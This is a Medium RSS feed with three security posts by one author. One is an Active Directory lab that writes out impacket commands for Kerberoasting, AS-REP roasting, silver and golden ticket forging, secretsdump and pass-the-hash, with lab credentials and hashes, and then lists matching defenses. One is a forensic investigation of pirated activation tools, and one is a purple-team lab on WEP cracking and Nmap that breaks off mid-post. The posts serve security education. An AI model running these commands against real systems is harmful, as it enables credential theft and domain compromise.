<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zyad Roshdy on Medium]]></title>
        <description><![CDATA[Stories by Zyad Roshdy on Medium]]></description>
        <link>https://medium.com/@zyadroshdy?source=rss-9b2b12100d85------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AJ0jQ78MvT5qzHOsszHgqw.jpeg</url>
            <title>Stories by Zyad Roshdy on Medium</title>
            <link>https://medium.com/@zyadroshdy?source=rss-9b2b12100d85------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 09:58:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@zyadroshdy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Active Directory Lab: From Setup to Golden Ticket & Defense ️]]></title>
            <link>https://medium.com/@zyadroshdy/active-directory-lab-from-setup-to-golden-ticket-defense-bc0da9751912?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc0da9751912</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Wed, 11 Mar 2026 03:07:43 GMT</pubDate>
            <atom:updated>2026-03-14T19:12:31.233Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By</strong>: Zyad Roshdy</p><p>Active Directory (AD) is the backbone of most enterprise networks. <br>It’s also the primary target for attackers. In this project, I built a complete AD lab to <strong>simulate real-world AD attacks</strong> in a safe lab environment, then understand how to <strong>Prevent — Detect — Respond</strong> from a defender’s perspective.</p><blockquote><strong><em>This write-up documents my complete project:</em></strong><br>- <em>Setting up a Windows Server 2025 Domain Controller.<br>- Creating vulnerable user accounts.<br>- Executing Kerberoasting, AS-REP Roasting, Silver Ticket, Secretsdump, Pass-the-Hash, and Golden Ticket attacks.<br>- Implementing prevention, detection, and response strategies for each attack.</em></blockquote><p>I’ll share every step with screenshots. Let’s dive in! 🚀</p><h3>Lab Environment ⚙️</h3><ul><li>Domain Controller: Windows Server 2025 (VMware)</li><li>Attack Machine: Kali Linux (VMware)</li><li>Network: Host-Only / NAT (isolated)</li><li>Domain: soc.local</li><li>Users: zyad.r, svc-kerberoast, asrep-victim</li></ul><h3>Part 1: Setting Up the Domain Controller 🏗️</h3><h3>1.1 Installing AD DS and DNS Roles</h3><blockquote><em>From Server Manager → Manage → Add Roles and Features, Selected AD DS and DNS Server.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*qZ0zxPzrNfHXbNrRK7Hk2w.png" /></figure><blockquote><em>After installation, I promoted the server to a domain controller by creating a new forest with domain name </em><em>soc.local.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*femKuHA3eFEES9Mn1DYEmg.png" /><figcaption><em>Promoting to DC</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*IADiwuxhxebJZa_mpXoXOw.png" /></figure><blockquote><em>Set the DSRM password and let the server reboot.<br>Once back, I logged in as SOC\Administrator.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*W3_JapyXwXIxpEppTPCIEA.png" /></figure><h3>1.2 Creating OUs and Users</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*OoV2Lhz2J7bIk2TIh19mpQ.png" /></figure><h4><strong>I created three user accounts that would later become my victims:</strong></h4><blockquote><em>Added </em><em>zyad.r to the Domain Admins group.</em></blockquote><blockquote><em>(Just for the lab, because without it I couldn’t dump secrets later).</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/424/1*tRMXVj5rWCAZkQC612GUxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*ybGuhgh2u355wGaZTtd0cA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*E0SB1G8TijzXxKDv4-Zhzg.png" /></figure><blockquote><em>For </em><em>svc-kerberoast, I opened Attribute Editor and added a Service Principal Name (SPN): </em><em>HTTP/web.soc.local</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*zvhzaLAqqWlF3Bc7reheGQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*MrAc-nw6w5S6dMa2MgwAHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*DwCe1nbzQmsQIyxg-K6puQ.png" /></figure><blockquote><em>For </em><em>asrep-victim, I checked “Do not require Kerberos preauthentication” in the account properties.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*J6iI_ns_eGUC0qJmrEQdCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*OF1znoi-iD52l37wB61hfg.png" /></figure><h4><strong>Now the stage was set for attacks…</strong></h4><h3>Part 2: The Attacks 🔥</h3><blockquote><strong><em>On Kali Linux</em></strong><em>:<br>Install impacket scripts → </em><em>git clone </em><a href="https://github.com/forta/impacket.git"><em>https://github.com/forta/impacket.git</em></a><br><em>Install John the Ripper → </em><em>sudo apt update &amp;&amp; sudo apt install john<br>Test connectivity:</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*WHFZzYCn4YrSZunz9IjK2w.png" /><figcaption>192.168.200.106 → DC IP</figcaption></figure><h3>2.1 Kerberoasting</h3><p><strong>Goal</strong>: Retrieve and crack the password of a service account with an SPN.</p><ul><li>Using Impacket’s GetUserSPNs.py, I requested the service ticket and saved the hash:</li></ul><pre>impacket-GetUserSPNs soc.local/zyad.r:P@ssw0rd -dc-ip 192.168.200.106 -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiDaPeaFDRgT3ZoN48bdZA.png" /><figcaption>The tool returned a Kerberos TGS hash for svc-kerberoast.</figcaption></figure><ul><li>I saved it to a file and cracked it with John the Ripper using the rockyou wordlist:</li></ul><pre>john kerberos_hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*V9CNIlJdyXopsXGkwzdEPw.png" /></figure><p>🎉 <strong>Success</strong>: The service account password was cracked.</p><h3>2.2 AS-REP Roasting</h3><p><strong>Goal</strong>: Exploit users with Kerberos pre-authentication disabled.</p><ul><li>From Kali, I used GetNPUsers:</li></ul><pre>impacket-GetNPUsers soc.local/asrep-victim -no-pass -dc-ip 192.168.200.106 -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*BhIrLaDPrWOqsWkKP8SR5g.png" /></figure><ul><li>But I got an error: KDC_ERR_KEY_EXPIRED (password expired), so I reset the password on the DC and and enabled “Password never expires”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*vA3-LOzpl1yCA42kejESRA.png" /></figure><ul><li>Then did it again:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*8NuAIUBLnpgfSAP1A7pOAQ.png" /></figure><ul><li>This time I got the AS-REP hash. Cracked it with John in seconds.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*nbR6DM_2ecrbsJkHcxTTBg.png" /><figcaption><em>AS-REP hash cracked</em></figcaption></figure><h3>2.3 Silver Ticket 🥈</h3><p><strong>Goal</strong>: Forge a ticket for a specific service using a service account’s NTLM hash.</p><blockquote><em>First, I needed </em><strong><em>NTLM Hash</em></strong><em> of </em><em>svc-kerberoast&amp; </em><strong><em>Domain SID</em></strong></blockquote><blockquote><em>I already have the </em><strong><em>Domain Name</em></strong><em>: </em>soc.local<em> &amp; </em><strong><em>SPN</em></strong><em>: </em>HTTP/web.soc.local</blockquote><ul><li><strong>NTLM Hash</strong> of svc-kerberoast:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*lUwQl5UDQkrGB7-GdntsEg.png" /><figcaption>The Link: <a href="https://codebeautify.org/ntlm-hash-generator">NTLM HASH Generator</a></figcaption></figure><ul><li><strong>Domain SID</strong>:</li></ul><pre>impacket-lookupsid soc.local/zyad.r:P@ssw0rd@192.168.200.106</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgIpQAbfIm2ErS-NPtJTmQ.png" /><figcaption>Output: S-1-5-21-3442660359-4205271194-1530639833</figcaption></figure><ul><li>Then I ran:</li></ul><pre>impacket-ticketer -nthash e19ccf75ee54e06b0a5907af13cf42 -domain-sid S-1-5-21-3442660359-4205271194-1530639833 -domain soc.local -spn HTTP/web.soc.local administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9QiqoV5tdv_HnIC0riHJJg.png" /><figcaption>Silver <em>Ticket created</em></figcaption></figure><blockquote><em>The ticket is saved in file administrator.cache ✅<br>This is enough for the lab</em></blockquote><h3>2.4 Secretsdump — Dumping All Domain Hashes</h3><p><strong>Goal</strong>: Dump all domain hashes from the DC.</p><ul><li>With zyad.r in Domain Admins, I had privileges to use secretsdump:</li></ul><pre>impacket-secretsdump soc.local/zyad.r:P@ssw0rd@192.168.200.106 -use-vss</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*DxBiJuszRv2thWuT8WWTZA.png" /><figcaption>Got all the hashes</figcaption></figure><ul><li>To get only domain hashes, i used:</li></ul><pre>impacket-secretsdump -just-dc-ntlm soc.local/zyad.r:P@ssw0rd@192.168.200.106</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*pRwQ0xWkr85XpHYjDLrfag.png" /></figure><blockquote><em>Now I had the krbtgt hash and Administrator hash<br>The keys to the kingdom! </em>🔑</blockquote><h3>2.5 Pass-the-Hash 🚪</h3><ul><li>Using Administrator’s NTLM hash, I could directly get a shell on the DC:</li></ul><pre>impacket-psexec -hashes :e19ccf75ee54e06b06a5907af13cef42 administrator@192.168.200.106</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*9MsFEOggtPVviJjGlOOC0g.png" /><figcaption><em>Pass-the-Hash successful</em></figcaption></figure><h3>2.6 Golden Ticket 🥇</h3><p><strong>Goal</strong>: Forge a ticket that grants access to any service, any time, using the krbtgt hash.</p><p>I used the krbtgt NTLM hash and Domain SID:</p><pre>impacket-ticketer -nthash 381194c45bc83e5c3b2d92dd46df6143 -domain-sid S-1-5-21-3442660359-4205271194-1530639833 -domain soc.local administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ApWBeZGzl2_uUqF8qHrmA.png" /><figcaption><em>Golden Ticket created</em></figcaption></figure><blockquote><em>The ticket was successfully created (</em><em>administrator.ccache).</em></blockquote><blockquote><em>In a real environment, I’d have full control.<br>With this ticket, I can impersonate any user for any service at any time.</em></blockquote><h3>Part 3: Prevent — Detect — <strong><em>Respond </em></strong>🛡️</h3><h4><strong><em>Now, as a Blue teamer, I had to think: How do I stop these attacks?</em></strong></h4><h3>3.1 Kerberoasting — Defense</h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Use strong, complex passwords for service accounts. <br>- Implement Group Managed Service Accounts (gMSA) to automatically rotate passwords. <br>- Limit SPNs to necessary accounts.</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Monitor Event ID 4769, Kerberos Ticket Granting Service (TGS) requests. <br>- Unusual TGS requests (from a user who never requests that service).<br>- Use SIEM rules to alert on many TGS requests from same user.</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Disable compromised account<br>- Immediately reset the compromised account &amp; service account password.<br>- Investigate the source of the request IP/user. <br>- Review permissions.</em></blockquote><h3>3.2 AS-REP Roasting — Defense</h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Never disable pre-authentication unless absolutely necessary.<br>- Enforce strong password policies.</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Monitor Event ID 4768 (TGT requests) for accounts with preauthentication disabled.<br>- Look for requests from unusual IPs.</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Immediately enable preauthentication for the account.<br>- Reset password and investigate.<br>- Force a password change at next login.</em></blockquote><h3>3.3 Silver Ticket — Defense</h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Use gMSA for services (auto password change).<br>- Avoid placing service accounts in privileged groups.<br>- Protect service account hashes (Credential Guard).</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Monitor Event ID 4624 (logon) with unusual logon types 3.<br>- Long-lived sessions, in normal TGS, ticket lifetime is ~10 hours.<br>- If you see a ticket valid for years, it’s forged</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Reset the service account password.<br>- Investigate and block the source.</em></blockquote><h3><em>3.4 Secretsdump — Defense</em></h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Restrict administrative privileges.<br>- Use Protected Users group.<br>- Enable Windows Defender Credential Guard.<br>- Limit access to domain controllers.</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Monitor Event ID 4662 (Directory Service Access) on the NTDS object.<br>- Monitor Event ID 4672 (Special Privileges Assigned) for sensitive groups.<br>- Network detection: look for DRSUAPI calls (like secretsdump uses).</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Immediately revoke access of the user.<br>- Isolate the DC and reset all hashes (krbtgt first).<br>- Force password change for all users.<br>- Assume breach.</em></blockquote><h3>3.5 Pass-the-Hash — Defense</h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Enable Credential Guard.<br>- Use Restricted Admin Mode for RDP.<br>- Implement LAPS for local admin passwords.</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Monitor Event ID 4624 with Logon Type 3 and NTLM auth (event 4776).<br>- Look for multiple logons from the same hash across different machines.</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Block the source IP.<br>- Investigate the compromised machine.<br>- Reset the compromised account’s password.<br>- Force a logout of all sessions.</em></blockquote><h3>3.6 Golden Ticket — Defense</h3><blockquote><strong><em>Prevention</em></strong><em>: <br>- Protect krbtgt — Regularly rotate krbtgt password (twice).<br>- Implement Red Forest architecture (separate admin forest).<br>- Use Privileged Access Workstations (PAW).</em></blockquote><blockquote><strong><em>Detection</em></strong><em>: <br>- Look for tickets with abnormal lifetime (10 years) in Event ID 4768/4769.<br>- Monitor for Event ID 4624 with Logon Type 2 or 10 from unexpected<br> admin accounts.<br>- Network detection: look for DRSUAPI calls (like secretsdump uses).<br>- Detect use of RC4 encryption in tickets (golden tickets often use RC4).</em></blockquote><blockquote><strong><em>Response</em></strong><em>:<br>- Immediately reset krbtgt password twice.<br>- Force all users to change passwords.<br>- Perform a full incident investigation.</em></blockquote><h3>Conclusion 🏁</h3><p><strong>This project was an incredible journey. I moved from building a Windows domain to compromising it entirely using real attack techniques, and then I put on my blue jersey to figure out how to defend against each one.</strong></p><p><strong>As a Blue teamer, understanding both sides of the fence is invaluable.</strong></p><p><strong>Now I know:</strong></p><ul><li>Why service accounts need strong passwords and gMSA.</li><li>Why Kerberos pre-authentication should never be disabled.</li><li>How Silver and Golden Tickets work and why krbtgt is the most critical account.</li><li>What logs to monitor and what events to look for.</li></ul><p><strong>I hope this write-up helps other aspiring security professionals.</strong></p><p><strong>If you have any questions or feedback, Feel free to connect with me on LinkedIn 🛡️ → </strong><a href="https://www.linkedin.com/in/zyad-roshdy">linkedin.com/in/zyad-roshdy</a></p><p><strong>Stay secure 🔐</strong></p><p>#ActiveDirectory #CyberSecurity #SOC #RedTeam #BlueTeam #Kerberoasting #GoldenTicket #InfoSec</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc0da9751912" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The “Original License” Lie: A Digital Forensics Investigation into Unauthorized Software & Defense…]]></title>
            <link>https://medium.com/@zyadroshdy/the-original-license-lie-a-digital-forensics-investigation-into-unauthorized-software-defense-9ac8e5d867bd?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ac8e5d867bd</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 15:00:45 GMT</pubDate>
            <atom:updated>2026-02-15T16:27:46.699Z</atom:updated>
            <content:encoded><![CDATA[<h3>The “Original License” Lie: A Digital Forensics Investigation into Unauthorized Software &amp; Defense Evasion 🕵️‍♂️💻</h3><p>By: Zyad Roshdy</p><h3>The “Panic” Call 🚨</h3><p>As a SOC Analyst, I deal with alerts and incidents daily. But this time, the “incident” isn’t in a corporate SIEM; it’s a friend’s laptop.</p><p>Recently, a friend contacted me in a panic. he had sent his laptop to a third-party technician to install Microsoft Office and activate Windows. The technician claimed he used an “Original License”. However, upon receiving the laptop, he noticed strange behavior and Windows Defender alerts popping up.</p><p>He sent me a voice note suspecting she had been hacked. I told him to bring the laptop to me immediately. I treated this not just as tech support, but as a DFIR investigation. 🛡️</p><p>Here is the breakdown of how I investigated the endpoint, uncovered the deception, and remediated the threat.</p><h3>Phase 1: Initial Triage &amp; The “Smoking Gun” 🔎</h3><p>My first step was to validate the user’s claim. He mentioned seeing “threats.” I opened Windows Security to check the Protection History.</p><h4><strong>1. Malware Detection 🦠</strong></h4><p>Defender had flagged multiple severe threats, specifically Trojan:Win32/Vigorf.A and Trojan:Win32/Zpevdo.B. These are signature detections often associated with hack-tools that manipulate system files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*TE80ix3m0CkfhOYlmImpqA.jpeg" /></figure><p>But why were these running if Defender was active? I checked the Exclusions list in settings. This is a common Defense Evasion technique <a href="https://attack.mitre.org/techniques/T1562/001/">MITRE ATT&amp;CK T1562.001</a> where attackers whitelist their malware so the antivirus ignores it.</p><h4>2. The Confession in the Path 🚩</h4><p>What I found in the exclusions list was the “Smoking Gun.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*sGsvXjdmy9DNILPobKr2Kg.png" /></figure><h4>The paths revealed the truth immediately:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*yD4z4ftVVsDC5CnTU5Q1sg.png" /><figcaption>📂 ...\Temp1_FaresCD.Com.KMSAuto__Portable...</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*77udH5JFsQ1QBLlrTNbhoA.png" /><figcaption>📂 ...\Downloads\R@1n ReBirth Activator...</figcaption></figure><p>“FaresCD” is a well-known local warez site for pirated software. The tools KMSAuto and R@1n are illegal activation exploits. This proved definitively that the &quot;Original License&quot; was a lie. The technician had deployed cracked software and deliberately weakened the system&#39;s security to make it work.</p><h3>Phase 2: Log Analysis &amp; Timeline Reconstruction 📜</h3><p>To build a solid case, I needed to know when and how this happened. I turned to the Windows <strong>Event Viewer.</strong></p><p>Specifically the Microsoft-Windows-Windows Defender/Operational logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*bfYOePfCjrlpM9ArfSi1jA.png" /></figure><p><strong>Event ID 5001</strong>: Shields Down 🛡️❌<br>Most concerning was Event ID 5001, indicating that Real-Time Protection was disabled. Whether the technician disabled it manually to run the tool, or the tool disabled it automatically to inject the payload, the result was a compromised defense posture.</p><p><strong>Event ID 5007</strong>: Configuration Change ⚙️<br>.The logs showed multiple instances of Event ID 5007. This event records changes to Defender’s configuration. The “Old Value” vs. “New Value” fields revealed that the unauthorized tool programmatically added the malicious DLLs and Exe files to the exclusion list immediately upon execution.</p><p>This confirms that the technician executed a script or tool that automatically manipulated Windows Defender settings to whitelist itself — (a classic Defense Evasion behavior).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*idWRux43C2qIjI6xUjUgsA.png" /><figcaption>KMSAuto++.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGdPZs2PsVaIkafQVQichA.png" /><figcaption>KMSAuto_Files</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Xb-u0i8kY1-EguxmC9vGQ.png" /><figcaption>R@1n ReBirth Activator</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d24w6F1vku8UGacP8bkq7A.png" /><figcaption>SppExtComObjHook.dll</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wfyef2TSM2XUQlkzF4t4hA.png" /><figcaption>SppExtComObjPatcher.dll</figcaption></figure><p><strong>Event ID 1116</strong>: The Malware Drop ⚠️<br>I also found Event ID 1116, confirming that Defender tried to stop the malware execution but was likely overridden or the files were re-introduced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgU7bQSznTnLaMqzY40qyg.png" /></figure><h3>Phase 3: Threat Intelligence (OSINT) 🌐</h3><p>To understand the risk level, I extracted the hash of the executable found in the exclusion path (KMSAuto++.exe&amp;Activator.exe) and queried it on VirusTotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wn2FT53AOfC_eglajdz9zQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klvbyYh2WOxmxvHTl6xx0g.png" /></figure><p>The results were damning.<br>Security Vendors flagged the files as malicious. It wasn’t just a “False Positive” as many technicians claim. It was identified as a Trojan/HackTool capable of dropping other payloads or opening backdoors.</p><h3>Phase 4: Hunting for Persistence 👻</h3><p>Removing the file isn’t enough. I had to ensure the malware hadn’t established Persistence <a href="https://attack.mitre.org/techniques/T1053/">MITRE ATT&amp;CK T1053</a> to survive a reboot.</p><ul><li><strong>Task Scheduler</strong> 📅<br>I manually inspected the Windows Task Scheduler, looking for any tasks named “KMS”, “Activator”, “Auto”, or any suspicious binaries running from Temp.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/218/1*6oVzo_8FnsnGDSVNf2p0ww.png" /></figure><ul><li><strong>Registry Editor </strong>⚙️<br>Might have put itself in the Registry Run Keys instead of the Task Scheduler.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*kjvyva_orgihZvACqRqBAw.png" /></figure><ul><li><strong>Autoruns</strong> 🕵️‍♂️<br>To be absolutely sure, I used <strong>Autoruns</strong>, the industry standard for verifying startup items. I filtered out Microsoft-signed entries to focus on third-party code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PNg50aZ6gG-ClCyTlVcDoA.png" /></figure><blockquote><em>Result: No suspicious Scheduled Tasks, Registry Run Keys, or Services were found pointing to the malware.</em></blockquote><ul><li>The technician likely used a Portable version of the exploit (as suggested by the folder name KMSAuto__Portable). It ran once, patched the system, and didn&#39;t install a persistence mechanism. This was lucky for the user. ✅</li></ul><h3>Phase 5: Remediation &amp; Verification 🧹</h3><p>With the investigation complete, I moved to the containment and eradication phase:</p><h4><strong>1. Removed Exclusions:</strong></h4><p>I deleted all the unauthorized paths from Windows Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*sJo9dhGiYenLuhJFujFW4g.png" /></figure><h4>2. Deleted Artifacts:</h4><p>Purged the Downloads folder and the AppData\Local\Temp directory containing the source files.</p><h4>3. Full System Scan:</h4><p>I initiated a Full Scan to catch any remnants.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E4HBYtTSQguKHSgR9v_5KA.png" /><figcaption>Starting a Full Scan</figcaption></figure><p>Defender immediately picked up the remaining “HackTool” traces and successfully removed them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*_RgOYEnLuPkZRoB7Euzhig.png" /></figure><h4>Final Verification:</h4><ul><li>Started a final full scan that returned 0 threats, confirming the endpoint was clean.</li></ul><h3>Lessons Learned 🎓</h3><p>This investigation highlights a critical security lesson: Supply Chain Risk isn’t just for big corporations; it applies to personal devices too.</p><ol><li><strong>Trust but Verify</strong>: Never blindly trust third-party technicians with your device security. 🤝</li><li>The “<strong>Free</strong>” Cost: Using cracked software (“Original” as they claimed) compromises your system integrity, often introducing backdoors or disabling critical defenses like AV exclusions. 💸</li><li>Logs Tell the Truth: Even if a user, technician, or a tool tries to hide their tracks, <strong>Windows Event Logs</strong> will always reveal the timeline of the attack. 📊</li></ol><h4><strong>Status: Case Closed. Endpoint Secured. 🔒</strong></h4><p>If you found this write-up helpful, or have any questions feel free to connect with me on LinkedIn 👉 <a href="https://www.linkedin.com/in/zyad-roshdy/">linkedin.com/in/zyad-roshdy</a> 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ac8e5d867bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Wi-Fi Cracking to Malware Reverse Engineering: A Complete Purple Team Lab]]></title>
            <link>https://medium.com/@zyadroshdy/from-wi-fi-cracking-to-malware-reverse-engineering-a-complete-purple-team-lab-84f64a12391e?source=rss-9b2b12100d85------2</link>
            <guid isPermaLink="false">https://medium.com/p/84f64a12391e</guid>
            <dc:creator><![CDATA[Zyad Roshdy]]></dc:creator>
            <pubDate>Thu, 05 Feb 2026 07:09:42 GMT</pubDate>
            <atom:updated>2026-03-28T02:28:22.706Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By</strong>: Zyad Roshdy<br><strong>Category</strong>: Red Teaming, Blue Teaming, Digital Forensics.<br><strong>Tools Used</strong>: Kali Linux, Windows 10, Nmap, Metasploit, GoPhish, Wireshark, Network Miner, Snort, Nessus, FTK Imager, Autopsy, Ghidra.</p><p>In the world of cybersecurity, understanding both the attack (Red Team) and the defense (Blue Team) is crucial. This project simulates a real-world Purple Team scenario targeting a corporate workstation. The goal was not just to compromise the machine, but to detect the attack, harden the system, and perform digital forensics to analyze the malware.</p><p>This write-up documents the entire lifecycle: from cracking Wi-Fi and initial access to privilege escalation, persistence, and finally, reverse engineering the backdoor.</p><h4>🛠️</h4><ul><li>U need an external <strong>USB Wi-Fi Adapter</strong> (supports <strong>monitor</strong> mode) to perform the first phase.</li><li>The wifi network I’m connected to is using <strong>WPA2</strong>, so I’ve temporarily changed it to <strong>WEP</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*bjgU3hTTN5DLvqg-RT9ukA.png" /></figure><h3>Phase 1: Initial Access (Wireless Attacks) 📡</h3><p><strong>Objective:</strong> Gain access to the target network by compromising the Wi-Fi credentials.</p><p>The target network, named “Beet ElHana,” was identified using a wireless adapter in Monitor Mode.</p><ul><li>First, I enabled monitor mode on the wireless interface to sniff all traffic in the air.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*iI7R8cEfmmIOun5E2CL8TQ.png" /><figcaption>Enable Monitor Mode</figcaption></figure><ul><li>Using airodump-ng, I located the target AP running on Channel 11 with WEP encryption.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*kAu_8RgGDPLGUtzBCUw2Hw.png" /><figcaption>Airodump Scan Result</figcaption></figure><ul><li>To recover the key, I captured Initialization Vectors (IVs). Since the network traffic was slow, I performed an ARP Replay Attack using aireplay-ng to inject packets and force the router to generate new IVs rapidly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*kkVTNCwdAK5RsX8t_mLT6w.png" /><figcaption>ARP Replay Attack</figcaption></figure><ul><li>Once sufficient data was captured (~10,000 IVs), I used aircrack-ng to crack the WEP key. The key 12345 was successfully recovered.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*fCSkKjmoSJHqwgonnjxx-w.png" /><figcaption>Key Found</figcaption></figure><blockquote><em>Result: Network Access Granted.</em></blockquote><h3>Phase 2: Network Reconnaissance 🔍</h3><p><strong>Objective:</strong> Identify live hosts and open ports.</p><ul><li>Once inside the network, I verified connectivity between the attacker (Kali Linux) and the target (Windows 10).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*Rhto_snJmUv-b8ejPs4aEg.png" /><figcaption>Ping Test</figcaption></figure><ul><li>With network access secured, I performed an aggressive Nmap scan to fingerprint the OS and discover open ports.</li></ul><pre>sudo nmap -T4 -A -v 192.168.200.104</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*S0lKZkMmqx1RQdkjK5W1Jw.png" /><figcaption>Nmap Scan Results</figcaption></figure><p>The target is running Windows 10 with ports 135, 139, and 445 (SMB) open.</p><ul><li>Blue Team Detection:<br>Simultaneously, I used Wireshark and NetworkMiner to monitor the network. The logs showed a massive spike in TCP traffic and SYN packets, confirming an ongoing port scanning activity (Reconnaissance).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-p4l8dnG20kUqNjSIT99Q.png" /><figcaption>Wireshark Capture</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*7AUxITEJPTXyjQlff_-5gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*c1S_M5RdWdVLAgDTzdC11Q.png" /><figcaption>NetworkMiner Hosts</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*cRewNDziQ09XHNeOeOUfaQ.gif" 